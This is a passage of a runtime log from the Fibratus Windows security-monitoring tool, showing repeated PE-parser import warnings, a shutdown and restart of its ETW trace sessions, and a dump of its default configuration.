level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:55:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:56:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:56:04+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:56:05+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:56:05+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:56:27+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:56:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:56:27+01:00 level=info msg=bootstrapping with pid 18900. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:56:27+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>false] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>true sound=>true quiet-mode=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + kstream ........................ [ enable-image=>true enable-registry=>true enable-handle=>false enable-audit-api=>true enable-fileio=>true enable-vamap=>true max-buffers=>36 buffer-size=>512 blacklist=>[ images=>[] events=>[]] flush-interval=>1s stack-enrichment=>true enable-net=>true enable-mem=>true min-buffers=>16 enable-dns=>true enable-thread=>true] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 level=>info] + output ......................... [ console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 trace-log=>false healthcheck=>true timeout=>5s template-name=>fibratus sniff=>false healthcheck-interval=>10s gzip-compression=>false] http=>[ timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enable-gzip=>false method=>POST enabled=>false] amqp=>[ exchange-type=>topic passive=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false timeout=>5s vhost=>/ enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false excluded-images=>[] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s alert-via=>mail skip-files=>true enabled=>false excluded-files=>[] fastscan=>true alert-template=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:56:27+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:56:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:56:29+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:56:29+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:56:29+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:56:35+01:00 level=warning msg=failed to parse data directory Import, 